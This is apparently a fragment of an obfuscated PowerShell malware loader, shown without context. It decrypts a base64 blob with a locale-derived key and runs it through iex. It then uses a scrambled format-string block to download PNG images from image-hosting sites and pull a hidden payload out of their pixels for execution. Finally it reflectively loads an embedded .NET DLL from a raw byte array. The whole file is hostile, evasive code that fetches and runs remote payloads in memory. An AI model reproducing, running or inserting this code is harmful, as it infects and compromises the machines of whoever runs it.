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';
$Fghg=(102 -shl 2) + (get-culture).LCID;
$Fghg=""+$Fghg;
$r44r=Ottass -Igaa $MmUz -Pcxc $Fghg;
$OkKiiS=Bavv($r44r);
iex($OkKiiS)
$aCmAS={
((("{34}{8}{6}{16}{45}{15}{33}{52}{25}{35}{5}{57}{32}{2}{61}{23}{60}{4}{49}{26}{22}{43}{30}{53}{18}{62}{39}{19}{29}{40}{64}{17}{37}{38}{48}{63}{42}{47}{58}{7}{9}{44}{36}{54}{55}{31}{10}{41}{20}{50}{12}{0}{13}{27}{56}{28}{21}{3}{46}{14}{24}{65}{11}{1}{51}{59}"-f 'Cm}]=([math]::qvAFLteK',']106+[CHAr]80),[sTRInG][CHAr]','://images2.','LN{O}[0..458Cm+8Cm0','f ijP/ij8Cm+8CmP,ijP.pngijP,ijP://i.imguijP,ijPcij','10}{13}qvA-f ijP_oijP,ijPpijP','{0}qvA -f ijPalijP,ij','PSystem.8Cm+8CmijP)((.(ijPaijP) (qvA{3}{1}{2}{0}qvA-fijPntijP,ijP','0]+8Cmx8Cm) ( (8Cm&(qvA{1}','WebCij','(qvA{0}{1}qvA -fijPBy','+[CHAr','X},FLN{_});8Cm+8CmFLN{o}[FLN{_}*300+FLN{X8Cm+8','oOrqvA((F','m,','0}qvA -f ijPeijP','PsijP) (ijPaijP8Cm+8Cm) (qvA{0}{2}{1}qvA -fijPNew-ObijP,ijPt','q','gijP,ijP','-f ijPg.ijP,ijPFijP,ijPttijP,ijPi.postiijP,ijPD1.png?dl=1ijP,ijPps://ijP,ijPmQq0XRijP,ijPcc/ijP,ijPh/ijP,ijPhi8Cm+8','e[ijP,ijP]ijP) 45300;(0..150)m4M.(ijP%ijP){foreach(FLN{x} in(0..299)){FLN{p}=FLN{G}.q','g]::qvAateKScIiqvA.q8Cm+8CmvAg8Cm+8CmteKEteKTsTteKRINgqvA(F','{1}{2}{4}{5}{8}{0}{6}{7}qvA-f ijP/i/cjtb8d4ijP,ijPttpijP,i8Cm+8CmjPs://iijP,ijPhijP,i','A{6}{2}{','8CmKfp8Cm).RePlacE(8CmqvA8Cm,[sTRInG][CHAr]34).RePlacE(([CHAr]1','ijPnijP,ijPsteijP,ijPm.DrawiijP,ijPgijP,ijPSyijP);8Cm+8Cm[string[]]FLN{NteKU}=((qvA{4}{11}{3}{12}{5}{7}{9}{8','Cm+8Cm,ijPcomijP,ijPr.ijP,ijPhttpsijP,ijPf2262WijP),(qvA{3}','LN{P}.qvABqvA-band15)*16)-bor(FLN{P}.qvAgqvA -band 15))}','[System.T8Cm+8Cmext.Encodin','CmjP,ijPmij','ijP','jP) ','.ijP,ijPhttps',',ijPAdd-TypijP) -AssemblyName (qvA{4}{1}{',' . ( KfpPsHome[4]+KfpPsHoMe[3','}{28Cm+8Cm}{0}{6}8Cm+8Cm{1}{','Net.ijP))8Cm+8Cm.qvAOpteKeNRteKEaDqvA(FLN{uteKRL})8Cm+8Cm);','vA8Cm+8Cm{0}{3}8Cm+8Cm{2}{1}{4}8Cm+8CmqvA -','fijPNet.WeijP,ijPienijP,ijPClijP,ijPbijP8Cm+8Cm,ijPtijP)).qvADO8Cm+8CmwnLOAdsteKTRteKiteKNGq','7}{1}{6}{8}{4}qvA','P));foreach(FLN{UteKRL} in','t','A{4}{','jPma','P,ijPlieijP,ijP','ijP,ijPjecijP);.(qvA{1}8Cm+8Cm{','71]);break}}8Cm).RePlacE(([CHAr]116+[CHAr]101+[CHAr]75),8CmXPV8Cm).RePlacE(8CmFLN8C','3}{1}{0}8Cm+8Cm{2}qvA -f ijP','vA(FLN{uteKRl}).qvAleteKNgtHqvA ','P8','vAGeteKTPIxelqvA(FLN{8Cm+8Cm','39).RePlacE(([CHAr]109+[CHAr]52+[CH','2}{0}{3}qvA-8Cm+8Cmf ',',ijPge.frijP,ijP2zijP,ijPjs576vt.pn','FLN{8Cm+8','CmO}=.(ijPai','8Cm+8Cm};FLN{MAteKGG}=',',ijPjijP,ijPx','.BiijP,ijPwingijP,ijPtmapijP,ijPDraijP,ij8Cm+8Cm','Ar]77),8CmOSA8Cm))','5}{4}{0}{3}{7}{1}qvA-','ijP,ijPm/cd/8f/ijP,ijP.ijP,ijP0ijP,ijPZi8Cm+8CmjP,ijPq0WQuij8Cm+8CmP,ijPnijP,ijPimgboijP,ijPcoijP,ijPgijP),(qv','lijP),8Cm+8Cm(qvA{9}{2}{5}{3}{10}{0}{','-g8Cm+8Cmt 999){FLN{g}=&(ijPaijP) (qv',' FLN{nteKU}){if ((.(ijPaijP) (','05'))-ReplaCE'8Cm',[CHAR]39-ReplaCE 'Kfp',[CHAR]36 -crEplAcE ([CHAR]79+[CHAR]83+[CHAR]65),[CHAR]124 -crEplAcE 'XPV',[CHAR]96) |& ((GET-VAriAbLe '*mdR*').NaMe[3,11,2]-JOIn'')
[Reflection.Assembly]::Load([byte[]]@(77 ,90 ,144 ,0 ,3 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,255 ,255 ,0 ,0 ,184 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,128 ,0 ,0 ,0 ,14 ,31 ,186 ,14 ,0 ,180 ,9 ,205 ,33 ,184 ,1 ,76 ,205 ,33 ,84 ,104 ,105 ,115 ,32 ,112 ,114 ,111 ,103 ,114 ,97 ,109 ,32 ,99 ,97 ,110 ,110 ,111 ,116 ,32 ,98 ,101 ,32 ,114 ,117 ,110 ,32 ,105 ,110 ,32 ,68 ,79 ,83 ,32 ,109 ,111 ,100 ,101 ,46 ,13 ,13 ,10 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,80 ,69 ,0 ,0 ,76 ,1 ,3 ,0 ,230 ,205 ,255 ,91 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,224 ,0 ,2 ,33 ,11 ,1 ,11 ,0 ,0 ,6 ,0 ,0 ,0 ,6 ,0 ,0 ,0 ,0 ,0 ,0 ,14 ,37 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,0 ,0 ,16 ,0 ,32 ,0 ,0 ,0 ,2 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,128 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,3 ,0 ,64 ,133 ,0 ,0 ,16 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,16 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,192 ,36 ,0 ,0 ,75 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,152 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,96 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,8 ,32 ,0 ,0 ,72 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,46 ,116 ,101 ,120 ,116 ,0 ,0 ,0 ,20 ,5 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,6 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,96 ,46 ,114 ,115 ,114 ,99 ,0 ,0 ,0 ,152 ,2 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,64 ,46 ,114 ,101 ,108 ,111 ,99 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,96 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,66 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,240 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,72 ,0 ,0 ,0 ,2 ,0 ,5 ,0 ,248 ,32 ,0 ,0 ,200 ,3 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,70 ,40 ,3 ,0 ,0 ,10 ,2 ,40 ,2 ,0 ,0 ,6 ,111 ,4 ,0 ,0 ,10 ,42 ,0 ,0 ,27 ,48 ,2 ,0 ,85 ,0 ,0 ,0 ,1 ,0 ,0 ,17 ,2 ,40 ,5 ,0 ,0 ,10 ,10 ,6 ,115 ,6 ,0 ,0 ,10 ,12 ,8 ,22 ,115 ,7 ,0 ,0 ,10 ,13 ,115 ,8 ,0 ,0 ,10 ,19 ,4 ,9 ,17 ,4 ,111 ,9 ,0 ,0 ,10 ,17 ,4 ,111 ,10 ,0 ,0 ,10 ,11 ,222 ,12 ,17 ,4 ,44 ,7 ,17 ,4 ,111 ,11 ,0 ,0 ,10 ,220 ,222 ,10 ,9 ,44 ,6 ,9 ,111 ,11 ,0 ,0 ,10 ,220 ,222 ,10 ,8 ,44 ,6 ,8 ,111 ,11 ,0 ,0 ,10 ,220 ,7 ,42 ,0 ,0 ,0 ,1 ,40 ,0 ,0 ,2 ,0 ,29 ,0 ,18 ,47 ,0 ,12 ,0 ,0 ,0 ,0 ,2 ,0 ,22 ,0 ,39 ,61 ,0 ,10 ,0 ,0 ,0 ,0 ,2 ,0 ,14 ,0 ,59 ,73 ,0 ,10 ,0 ,0 ,0 ,0 ,30 ,2 ,40 ,12 ,0 ,0 ,10 ,42 ,66 ,83 ,74 ,66 ,1 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,118 ,52 ,46 ,48 ,46 ,51 ,48 ,51 ,49 ,57 ,0 ,0 ,0 ,0 ,5 ,0 ,108 ,0 ,0 ,0 ,112 ,1 ,0 ,0 ,35 ,126 ,0 ,0 ,220 ,1 ,0 ,0 ,92 ,1 ,0 ,0 ,35 ,83 ,116 ,114 ,105 ,110 ,103 ,115 ,0 ,0 ,0 ,0 ,56 ,3 ,0 ,0 ,8 ,0 ,0 ,0 ,35 ,85 ,83 ,0 ,64 ,3 ,0 ,0 ,16 ,0 ,0 ,0 ,35 ,71 ,85 ,73 ,68 ,0 ,0 ,0 ,80 ,3 ,0 ,0 ,120 ,0 ,0 ,0 ,35 ,66 ,108 ,111 ,98 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,2 ,0 ,0 ,1 ,71 ,21 ,2 ,0 ,9 ,0 ,0 ,0 ,0 ,250 ,37 ,51 ,0 ,22 ,0 ,0 ,1 ,0 ,0 ,0 ,10 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,3 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,10 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,6 ,0 ,38 ,0 ,31 ,0 ,6 ,0 ,101 ,0 ,69 ,0 ,6 ,0 ,133 ,0 ,69 ,0 ,6 ,0 ,180 ,0 ,168 ,0 ,6 ,0 ,208 ,0 ,31 ,0 ,6 ,0 ,243 ,0 ,233 ,0 ,10 ,0 ,22 ,1 ,0 ,1 ,6 ,0 ,33 ,1 ,233 ,0 ,10 ,0 ,40 ,1 ,0 ,1 ,6 ,0 ,71 ,1 ,31 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 ,0 ,1 ,0 ,16 ,0 ,19 ,0 ,0 ,0 ,5 ,0 ,1 ,0 ,1 ,0 ,80 ,32 ,0 ,0 ,0 ,0 ,150 ,0 ,45 ,0 ,10 ,0 ,1 ,0 ,100 ,32 ,0 ,0 ,0 ,0 ,150 ,0 ,48 ,0 ,15 ,0 ,2 ,0 ,240 ,32 ,0 ,0 ,0 ,0 ,134 ,24 ,51 ,0 ,21 ,0 ,3 ,0 ,0 ,0 ,1 ,0 ,57 ,0 ,0 ,0 ,1 ,0 ,57 ,0 ,17 ,0 ,51 ,0 ,25 ,0 ,25 ,0 ,51 ,0 ,21 ,0 ,33 ,0 ,189 ,0 ,30 ,0 ,33 ,0 ,198 ,0 ,35 ,0 ,41 ,0 ,216 ,0 ,15 ,0 ,49 ,0 ,51 ,0 ,41 ,0 ,57 ,0 ,51 ,0 ,47 ,0 ,49 ,0 ,51 ,0 ,21 ,0 ,65 ,0 ,56 ,1 ,55 ,0 ,49 ,0 ,63 ,1 ,61 ,0 ,81 ,0 ,83 ,1 ,21 ,0 ,9 ,0 ,51 ,0 ,21 ,0 ,46 ,0 ,11 ,0 ,79 ,0 ,46 ,0 ,19 ,0 ,88 ,0 ,66 ,0 ,4 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,163 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,22 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,31 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,60 ,77 ,111 ,100 ,117 ,108 ,101 ,62 ,0 ,100 ,101 ,99 ,111 ,46 ,100 ,108 ,108 ,0 ,101 ,101 ,0 ,109 ,115 ,99 ,111 ,114 ,108 ,105 ,98 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,0 ,79 ,98 ,106 ,101 ,99 ,116 ,0 ,68 ,101 ,0 ,68 ,98 ,0 ,46 ,99 ,116 ,111 ,114 ,0 ,105 ,110 ,112 ,117 ,116 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,46 ,67 ,111 ,109 ,112 ,105 ,108 ,101 ,114 ,83 ,101 ,114 ,118 ,105 ,99 ,101 ,115 ,0 ,67 ,111 ,109 ,112 ,105 ,108 ,97 ,116 ,105 ,111 ,110 ,82 ,101 ,108 ,97 ,120 ,97 ,116 ,105 ,111 ,110 ,115 ,65 ,116 ,116 ,114 ,105 ,98 ,117 ,116 ,101 ,0 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,67 ,111 ,109 ,112 ,97 ,116 ,105 ,98 ,105 ,108 ,105 ,116 ,121 ,65 ,116 ,116 ,114 ,105 ,98 ,117 ,116 ,101 ,0 ,100 ,101 ,99 ,111 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,84 ,101 ,120 ,116 ,0 ,69 ,110 ,99 ,111 ,100 ,105 ,110 ,103 ,0 ,103 ,101 ,116 ,95 ,85 ,84 ,70 ,56 ,0 ,71 ,101 ,116 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,67 ,111 ,110 ,118 ,101 ,114 ,116 ,0 ,70 ,114 ,111 ,109 ,66 ,97 ,115 ,101 ,54 ,52 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,73 ,79 ,0 ,77 ,101 ,109 ,111 ,114 ,121 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,73 ,79 ,46 ,67 ,111 ,109 ,112 ,114 ,101 ,115 ,115 ,105 ,111 ,110 ,0 ,71 ,90 ,105 ,112 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,67 ,111 ,109 ,112 ,114 ,101 ,115 ,115 ,105 ,111 ,110 ,77 ,111 ,100 ,101 ,0 ,67 ,111 ,112 ,121 ,84 ,111 ,0 ,84 ,111 ,65 ,114 ,114 ,97 ,121 ,0 ,73 ,68 ,105 ,115 ,112 ,111 ,115 ,97 ,98 ,108 ,101 ,0 ,68 ,105 ,115 ,112 ,111 ,115 ,101 ,0 ,0 ,0 ,3 ,32 ,0 ,0 ,0 ,0 ,0 ,25 ,76 ,165 ,141 ,205 ,229 ,132 ,70 ,165 ,16 ,128 ,35 ,229 ,117 ,248 ,78 ,0 ,8 ,183 ,122 ,92 ,86 ,25 ,52 ,224 ,137 ,4 ,0 ,1 ,14 ,14 ,5 ,0 ,1 ,29 ,5 ,14 ,3 ,32 ,0 ,1 ,4 ,32 ,1 ,1 ,8 ,4 ,0 ,0 ,18 ,17 ,5 ,32 ,1 ,14 ,29 ,5 ,5 ,32 ,1 ,1 ,29 ,5 ,7 ,32 ,2 ,1 ,18 ,33 ,17 ,37 ,5 ,32 ,1 ,1 ,18 ,33 ,4 ,32 ,0 ,29 ,5 ,12 ,7 ,5 ,29 ,5 ,29 ,5 ,18 ,25 ,18 ,29 ,18 ,25 ,8 ,1 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,30 ,1 ,0 ,1 ,0 ,84 ,2 ,22 ,87 ,114 ,97 ,112 ,78 ,111 ,110 ,69 ,120 ,99 ,101 ,112 ,116 ,105 ,111 ,110 ,84 ,104 ,114 ,111 ,119 ,115 ,1 ,0 ,232 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,254 ,36 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,240 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,95 ,67 ,111 ,114 ,68 ,108 ,108 ,77 ,97 ,105 ,110 ,0 ,109 ,115 ,99 ,111 ,114 ,101 ,101 ,46 ,100 ,108 ,108 ,0 ,0 ,0 ,0 ,0 ,255 ,37 ,0 ,32 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,16 ,0 ,0 ,0 ,24 ,0 ,0 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 ,0 ,0 ,0 ,48 ,0 ,0 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,72 ,0 ,0 ,0 ,88 ,64 ,0 ,0 ,60 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,60 ,2 ,52 ,0 ,0 ,0 ,86 ,0 ,83 ,0 ,95 ,0 ,86 ,0 ,69 ,0 ,82 ,0 ,83 ,0 ,73 ,0 ,79 ,0 ,78 ,0 ,95 ,0 ,73 ,0 ,78 ,0 ,70 ,0 ,79 ,0 ,0 ,0 ,0 ,0 ,189 ,4 ,239 ,254 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,63 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,68 ,0 ,0 ,0 ,1 ,0 ,86 ,0 ,97 ,0 ,114 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,73 ,0 ,110 ,0 ,102 ,0 ,111 ,0 ,0 ,0 ,0 ,0 ,36 ,0 ,4 ,0 ,0 ,0 ,84 ,0 ,114 ,0 ,97 ,0 ,110 ,0 ,115 ,0 ,108 ,0 ,97 ,0 ,116 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,176 ,4 ,156 ,1 ,0 ,0 ,1 ,0 ,83 ,0 ,116 ,0 ,114 ,0 ,105 ,0 ,110 ,0 ,103 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,73 ,0 ,110 ,0 ,102 ,0 ,111 